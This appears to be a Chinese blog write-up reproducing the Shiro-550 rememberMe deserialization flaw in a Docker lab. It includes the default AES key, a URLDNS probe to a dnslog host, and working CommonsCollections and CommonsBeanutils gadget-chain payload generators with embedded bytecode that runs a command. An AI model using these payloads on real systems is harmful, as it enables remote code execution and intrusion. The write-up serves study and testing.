前言
最近学习了很多JAVA反序列化利用链,也从来没有实战测试过,今天就用shiro来实战测试一下之前学习的利用链。
环境搭建
首先通过Docker下载镜像:
docker pull medicean/vulapps:s_shiro_1
然后启动环境:
docker exec -it 41 /bin/bash
启动环境后,将环境代码copy出来:
docker cp 41:/usr/local/tomcat/webapps/ROOT/ E:\JavaSource\Shiro550
然后在本地使用idea搭建一下,这样方便调试:
这里遇到点波折,最终目录结构如下:
运行环境并访问,得到如下界面说明环境搭建成功:
漏洞介绍
Apache Shiro是一个强大的JAVA安全框架,该框架能够用于身份验证、授权、加密和会话管理。与Spring Security框架相同,Apache Shiro也是一个全面的、蕴含丰富功能的安全框架。
在 Shiro <= 1.2.4 中,AES 加密算法的key是硬编码在源码中,当我们勾选remember me 的时候 shiro 会将我们的 cookie 信息序列化并且加密存储在 Cookie 的 rememberMe字段中,这样在下次请求时会读取 Cookie 中的 rememberMe字段并且进行解密然后反序列化
由于 AES 加密是对称式加密(Key 既能加密数据也能解密数据),所以当我们知道了我们的 AES key 之后我们能够伪造任意的 rememberMe 从而触发反序列化漏洞。
大致流程如下:
漏洞复现
漏洞发现
了解了漏洞原理,现在想想我们怎么来复现一下漏洞呢?
之前我们学习了很多漏洞利用链,首先可以使用URLDNS利用链来验证一下漏洞是否存在。
URLDNS代码如下,为了方便起见,这里aes加密的代码直接用的Shiro中的代码:
public static void main(java.lang.String[] args) throws Exception
{
String AesKey ="kPH+bIxk5D2deZiIxcaaaA==";
CipherService cipherService = new AesCipherService();
byte[] key = new BASE64Decoder().decodeBuffer(AesKey);
Cipher cip = Cipher.getInstance("AES");
SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
cip.init(Cipher.ENCRYPT_MODE, skeySpec);
HashMap ht = new HashMap();
URL u = new URL("http://123.km0q00.ceye.io");
setFieldValue(u, "hashCode", 11);
ht.put(u, "1");
setFieldValue(u, "hashCode", -1);
ByteOutputStream bos = new ByteOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(ht);
ByteSource encrypted = cipherService.encrypt(bos.getBytes(),key);
String base64en = new BASE64Encoder().encode(encrypted.getBytes());
base64en = base64en.replace("\r\n","");
base64en = base64en.replace("\t","");
FileWriter fos = new FileWriter("ser.txt");
StringReader sr = new StringReader(base64en);
fos.write(base64en);
fos.close();
}
运行完代码将ser.txt的字符串复制到rememberMe中,然后发送到服务器。
这时候打开dnslog服务器会发现出现了一条解析记录:
这说明确实是存在反序列化漏洞。
但是细心的朋友可以发现,发送payload的返回包中存在rememberMe=deleteMe字段,按理说这是在key不正确的情况下才会出现该字段,但是我们的反序列化已经成功执行,为什么会出现这个字段呢?
通过调试发现,在getRememberedPrincipals方法中:
会通过调用getRememberedSerializedIdentity方法来获得反序列化数据,然后在convertBytesToPrincipals方法中解密数据并进行反序列化。反序列化完成后会在deserialize方法中进行一次转型:
正式由于这次转型触发了一个异常,所以才会调用onRememberedPrincipalFailure方法:
然后调用了removeFrom方法设置了返回头:
到这里可以得知,如果想要通过返回头来确认key是否正确,我们的反序列化数据需要继承自PrincipalCollection接口,通过测试,org.apache.shiro.subject.SimplePrincipalMap类是一个不错的选择,只需要在把我们构造的对象put到SimplePrincipalMap中就可以。
最终代码如下:
public static void main(java.lang.String[] args) throws Exception
{
String AesKey ="kPH+bIxk5D2deZiIxcaaaA==";
CipherService cipherService = new AesCipherService();
byte[] key = new BASE64Decoder().decodeBuffer(AesKey);
Cipher cip = Cipher.getInstance("AES");
SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
cip.init(Cipher.ENCRYPT_MODE, skeySpec);
HashMap ht = new HashMap();
URL u = new URL("http://123.km0q00.ceye.io");
setFieldValue(u, "hashCode", 11);
ht.put(u, "1");
SimplePrincipalMap map = new SimplePrincipalMap();
map.put("1",ht);
setFieldValue(u, "hashCode", -1);
ByteOutputStream bos = new ByteOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(map);
ByteSource encrypted = cipherService.encrypt(bos.getBytes(),key);
String base64en = new BASE64Encoder().encode(encrypted.getBytes());
base64en = base64en.replace("\r\n","");
base64en = base64en.replace("\t","");
FileWriter fos = new FileWriter("ser.txt");
StringReader sr = new StringReader(base64en);
fos.write(base64en);
fos.close();
}
运行以上代码,将ser.txt文件中的字符串复制到rememberMe字段中,然后发送到服务器,会得到以下结果:
可以看到这次的返回包就没有了rememberMe=deleteMe字段,这样我们就可以只通过返回包来检测Key是否正确而不需要dnslog了。
漏洞利用
知道了存在漏洞,接下来就想一下可以用哪条CC链。
通过漏洞环境的pom.xml可以看到,环境中引入了CC4.0依赖,这是为了方便测试,实际中Shiro是不存在CC依赖的。
之前分析的CC链中,关于CC4版本的只有CC2和CC4,这里首先用CC2测试,代码如下:
public static void main(String[] args) throws Exception
{
//getClassCode();
byte[] fileData = new BASE64Decoder().decodeBuffer("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAApIZWxsby5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEABUhlbGxvAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAOAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEwALAAAABAABAAwAAQAOAA8AAgAJAAAANAACAAIAAAAQKrcAAbgAAkwrEgO2AARXsQAAAAEACgAAABIABAAAABUABAAWAAgAFwAPABgACwAAAAQAAQAQAAEAEQAAAAIAEg==");
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][] {fileData});
setFieldValue(templatesImpl, "_name", "Hello");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
String AesKey ="kPH+bIxk5D2deZiIxcaaaA==";
CipherService cipherService = new AesCipherService();
byte[] key = new BASE64Decoder().decodeBuffer(AesKey);
Cipher cip = Cipher.getInstance("AES");
SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
cip.init(Cipher.ENCRYPT_MODE, skeySpec);
SimplePrincipalMap map = new SimplePrincipalMap();
InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
queue.add(templatesImpl);
queue.add("test");
setFieldValue(transformer,"iMethodName","newTransformer");
map.put("1",queue);
ByteOutputStream bos = new ByteOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(map);
ByteSource encrypted = cipherService.encrypt(bos.getBytes(),key);
String base64en = new BASE64Encoder().encode(encrypted.getBytes());
base64en = base64en.replace("\r\n","").replace("\t","");
FileWriter fos = new FileWriter("ser.txt");
fos.write(base64en);
fos.close();
}
运行以上代码,会在当前目录生成一个ser.txt文件,将文件中的字符串复制到cookie中发送到服务器,会发现服务器打开了一个计算器。
构建更少依赖的POC
前面我们已经成功构建了一个POC可以执行任意代码,但是这个POC需要用到CC4的依赖,这样如果在实战环境中没有CC4的依赖我们这个POC就无法使用了,所以这里要尝试构建一个不需要CC4依赖的POC。
我们首先复习一下之前学习过的不在CC4中的类,看看能不能继续用:
- TemplatesImpl类,第一次接触在CC3利用链。
- PriorityQueue类,第一次接触在CC2利用链
- BadAttributeValueExpException类,第一次接触在CC5利用链
接下来简单回顾一下以上几个类。
TemplatesImpl类:这个类通过加载字节码来执行任意代码,通过getOutputProperties方法或newTransformer方法触发。
PriorityQueue类:这个类可以通过readObject作为入口调用任意实现了Comparator接口的类的compare方法来执行任意代码。
BadAttributeValueExpException类:这个类可以通过readObject方法作为入口调用任意类的toString()方法。
通过以上总结,我们需要找到一个compare或者toString可以触发代码执行的类就可以了:
Apache Commons Beanutils
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。
commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意JavaBean的getter方法(getter方法和setter方法就是getter 的方法名以get开头,setter的方法名以set开头,全名符合骆驼式命名法的方法。),比如:
PropertyUtils.getProperty(new Test(), "name");
以上代码会调用Test类的getName方法。
通过这个特性,我们可以使用PropertyUtils.getProperty来调用TemplatesImpl.getOutputProperties方法来加载任意字节码。
接下来我们只需要找可以利用的 java.util.Comparator 对象就可以了。
org.apache.commons.beanutils.BeanComparator
答案就是 org.apache.commons.beanutils.BeanComparator 类,BeanComparator 是commons-beanutils提供的用来比较两个JavaBean是否相等的类,其实现了 java.util.Comparator 接口。我们看它的compare方法:
public int compare(Object o1, Object o2) {
if(this.property == null) {
return this.comparator.compare(o1, o2);
} else {
try {
Object nsme = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.comparator.compare(nsme, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
}
可以看到,刚好在compare方法中调用了PropertyUtils.getProperty来获取对象信息。
最终的poc
接下来就来构造这个poc,代码如下:
public static void finalPoc() throws Exception
{
byte[] fileData = new BASE64Decoder().decodeBuffer("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAApIZWxsby5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEABUhlbGxvAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAOAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEwALAAAABAABAAwAAQAOAA8AAgAJAAAANAACAAIAAAAQKrcAAbgAAkwrEgO2AARXsQAAAAEACgAAABIABAAAABUABAAWAAgAFwAPABgACwAAAAQAAQAQAAEAEQAAAAIAEg==");
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][] {fileData});
setFieldValue(templatesImpl, "_name", "Hello");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
String AesKey ="kPH+bIxk5D2deZiIxcaaaA==";
CipherService cipherService = new AesCipherService();
byte[] key = new BASE64Decoder().decodeBuffer(AesKey);
Cipher cip = Cipher.getInstance("AES");
SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
cip.init(Cipher.ENCRYPT_MODE, skeySpec);
BeanComparator bc = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2,bc);
queue.add(1);
queue.add(1);
setFieldValue(bc,"property","outputProperties");
setFieldValue(queue,"queue",new Object[]{templatesImpl,templatesImpl});
SimplePrincipalMap map = new SimplePrincipalMap();
map.put("1",queue);
ByteOutputStream bos = new ByteOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(map);
ByteSource encrypted = cipherService.encrypt(bos.getBytes(),key);
String base64en = new BASE64Encoder().encode(encrypted.getBytes());
base64en = base64en.replace("\r\n","").replace("\t","");
FileWriter fos = new FileWriter("ser.txt");
fos.write(base64en);
fos.close();
}
这代码跟之前相差不大,主要是通过BeanComparator替换了TransformingComparator类,运行代码,然后复制ser.txt中的字符串放到cookie中发送到服务器,发现并没有弹出计算器,反而是弹出了两个异常~
Unable to deserialze argument byte array这个异常是因为有其他异常被捕获,在org.apache.shiro.io.DefaultSerializer#deserialize中抛出的异常,这个不需要管。
而Unable to load ObjectStreamClass [org.apache.commons.collections.comparators.ComparableComparator: static final long serialVersionUID = -291439688585137865L;]: 这个异常是因为是没找到 org.apache.commons.collections.comparators.ComparableComparator
类,从包名即可看出,这个类是来自于commons-collections。
commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽
然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于
commons-collections,但反序列化利用的时候需要依赖于commons-collections。
这难道就没法解决了么?别急,我们首先来看一下在什么地方用到了这个ComparableComparator类。
最终,在BeanComparator类的构造函数中发现使用了这个类,在我们构造BeanComparator类的时候如果不传入参数,则会默认使用ComparableComparator类来进行数据对比。
知道了在哪里使用,接下来我们就要找一个可以替换这个类的类。目标类有几个标准:
- 在当前依赖中存在,这样会有更好的兼容性。
- 实现了Comparator和Serializable接口。
知道了需求我们直接看一下实现了Comparator接口的所有类:
最终,我们发现java.lang.String#CaseInsensitiveComparator类符合我们的需求,代码如下:
这是一个私有内部类,但是我们可以通过String.CASE_INSENSITIVE_ORDER这个静态成员来获得。
万事俱备,接下来构造最终poc代码:
public static void finalPoc() throws Exception
{
byte[] fileData = new BASE64Decoder().decodeBuffer("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAApIZWxsby5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEABUhlbGxvAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAOAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAAEwALAAAABAABAAwAAQAOAA8AAgAJAAAANAACAAIAAAAQKrcAAbgAAkwrEgO2AARXsQAAAAEACgAAABIABAAAABUABAAWAAgAFwAPABgACwAAAAQAAQAQAAEAEQAAAAIAEg==");
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][] {fileData});
setFieldValue(templatesImpl, "_name", "Hello");
setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
String AesKey ="kPH+bIxk5D2deZiIxcaaaA==";
CipherService cipherService = new AesCipherService();
byte[] key = new BASE64Decoder().decodeBuffer(AesKey);
Cipher cip = Cipher.getInstance("AES");
SecretKeySpec skeySpec = new SecretKeySpec(key, "AES");
cip.init(Cipher.ENCRYPT_MODE, skeySpec);
BeanComparator bc = new BeanComparator((String)null,String.CASE_INSENSITIVE_ORDER);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2,bc);
queue.add("1");
queue.add("1");
setFieldValue(bc,"property","outputProperties");
setFieldValue(queue,"queue",new Object[]{templatesImpl,templatesImpl});
SimplePrincipalMap map = new SimplePrincipalMap();
map.put("1",queue);
ByteOutputStream bos = new ByteOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(map);
ByteSource encrypted = cipherService.encrypt(bos.getBytes(),key);
String base64en = new BASE64Encoder().encode(encrypted.getBytes());
base64en = base64en.replace("\r\n","").replace("\t","");
FileWriter fos = new FileWriter("ser.txt");
fos.write(base64en);
fos.close();
/**
ByteInputStream bis = new ByteInputStream(bos.getBytes(),bos.getBytes().length);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
**/
}
运行以上代码,将ser.txt文件中的字符串放到cookie中发送,会看到服务器成功弹出了计算器:
参考
天下大木头
代码审计星球.Java安全漫谈17
总结
至此,漏洞分析完毕。
通过以上分析可以看出这个漏洞一共就那几个关键的步骤:
获取Cookie=>Base64解密=>AES解密=>反序列化。
Shiro550的修复并不意味着反序列化漏洞问题的修复,只是移除了默认key而已。